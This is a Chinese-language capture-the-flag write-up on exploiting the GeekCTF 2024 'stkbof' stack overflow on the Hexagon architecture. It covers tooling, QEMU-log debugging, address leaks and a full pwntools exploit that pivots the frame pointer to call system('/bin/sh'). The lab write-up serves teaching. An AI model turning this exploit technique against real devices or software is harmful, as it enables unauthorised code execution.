『2024GeekCTF』stkbof-初识hexagon架构PWN
字数 1498 2025-08-22 12:22:30
Hexagon架构PWN入门教学:从环境搭建到漏洞利用
前言
Hexagon架构是高通公司开发的DSP处理器架构,在移动设备和嵌入式系统中广泛应用。本文将基于2024 GeekCTF中的"stkbof"题目,详细介绍Hexagon架构下的PWN技术,包括环境搭建、逆向分析、调试技巧和漏洞利用方法。
环境准备
1. IDA反编译插件
Hexagon架构的逆向分析需要专用插件:
- 插件名称:hexagon架构处理器反编译插件
- 适用版本:IDA 8.3及以下32位版本
- 安装方法:将dll文件放入IDA的
procs文件夹 - 注意事项:必须使用32位IDA才能识别该插件
2. QEMU模拟环境
运行Hexagon程序需要qemu-hexagon和相关库文件:
问题解决
qemu-hexagon: Could not open '/lib/ld-musl-hexagon.so.1'
解决方案:
- 将题目提供的
libc.so软链接到/lib目录:
ln -sf /path/to/libc.so /lib/ld-musl-hexagon.so.1
- 或者从高通工具链获取(50GB大小,不推荐)
3. Docker环境问题
题目使用Fedora构建Docker镜像,若遇到包下载问题:
- 从DockerHub进入GitHub仓库
- 手动下载包和Dockerfile
- 本地构建Fedora镜像
Hexagon架构基础
寄存器系统
-
通用寄存器:R0-R31(32位)
- 可组合为64位寄存器对(如R1:0表示R0和R1组合)
-
特殊寄存器:
- R29(SP):栈指针
- R30(FP):帧指针
- R31(LR):链接寄存器(存储返回地址)
-
控制寄存器:32个
- PC寄存器(C9)
- LC/SA系列:硬件循环计数
指令特点
-
mewm():类似x86的[]解引用- 后缀:
h表示halfword,d表示doubleword等
- 后缀:
-
{}:并发执行块,最多支持4指令并发 -
立即数前缀:
##:必须用32位偏移量#:必须不能用32位偏移量- 无前缀:必要时才用32位偏移量
函数调用约定
- 参数传递:按顺序使用R0-R3寄存器
- 栈操作:
allocframe:开辟栈帧(压LR和FP,调整SP)deallocframe/dealloc_return:销毁栈帧(恢复FP和LR)
题目分析
1. 程序概况
- 漏洞类型:栈溢出
- 保护机制:无PIE,无ASLR(QEMU模拟环境下)
- 难点:缺乏常见gadget(如pop/push指令)
2. 调试技巧
由于gdb-multiarch不支持hexagon,使用QEMU日志调试:
qemu-hexagon -L libc -d in_asm,exec,cpu,page,nochain -singlestep -dfilter 0x20400+0xc0 -strace -D ./log ./chall
参数说明:
-d:记录内容(in_asm,exec,cpu等)-singlestep:单步执行-dfilter:过滤地址范围-strace:记录系统调用
3. 关键信息泄露
栈地址泄露:
从系统调用日志中获取:
read(0,0x4080ebe0,272) = 2
0x4080ebe0即为输入缓冲区地址
libc基址泄露:
- 观察PLT表指令:
puts:
{ r14 = add(pc, ##off_405D4@pcrel) }
{ r28 = memw(r14) }
{ jumpr r28 }
- 执行后r28寄存器存储puts的实际地址
- 计算libc基址:
r28_value - puts_offset
4. 漏洞利用
利用思路
- 控制FP寄存器指向可控栈区域
- 利用
FP-8处的值给R0赋值(/bin/sh地址) - 通过栈迁移控制程序流跳转到system
关键gadget
0x204b4:
{ r0 = memw(fp + #var_8) }
{ dealloc_return }
0x2041c:
{ dealloc_return }
payload构造
stack = 0x4080ebe0
libc_base = 0x3FED0000
gadget1 = 0x204b4
ret = 0x2041c
payload = p32(stack + 0x10) # 新FP值
payload += p32(gadget1) # 返回地址
payload += p32(libc_base + binsh) # FP+8处放/bin/sh地址
payload += p32(0) * 2 # 填充
payload += p32(libc_base + system)# system地址
payload = payload.ljust(0x100, b'\x90')
payload += p32(stack) + p32(ret) # 原始栈溢出部分
完整EXP
from pwn import *
r = process(['qemu-hexagon', '-L', 'libc', '-d', 'in_asm,exec,cpu,nochain',
'-singlestep', '-dfilter', '0x20400+0xc0', '-strace', '-D', './log', './chall'])
context(arch='amd64', os='linux', log_level='debug')
libc = ELF('./libc.so')
stack = 0x4080ebe0
libc_base = 0x3FED0000
gadget1 = 0x204b4 # { r0 = memw(fp + #var_8) } { dealloc_return }
ret = 0x2041c # { dealloc_return }
payload = p32(stack + 0x10)
payload += p32(gadget1)
payload += p32(libc_base + next(libc.search(b'/bin/sh\x00')))
payload += p32(0) * 2
payload += p32(libc_base + libc.symbols['system'])
payload = payload.ljust(0x100, b'\x90')
payload += p32(stack) + p32(ret)
r.recv()
r.send(payload)
r.interactive()
总结
- Hexagon架构PWN的关键在于理解其独特的寄存器系统和指令集
- 缺乏传统ROP gadget时需要创造性利用现有指令
- QEMU日志调试是当前最可靠的调试方法
- 栈迁移技术在特殊架构利用中尤为重要
通过本题,我们掌握了Hexagon架构的基本逆向分析方法和漏洞利用技巧,为研究更多嵌入式系统安全问题奠定了基础。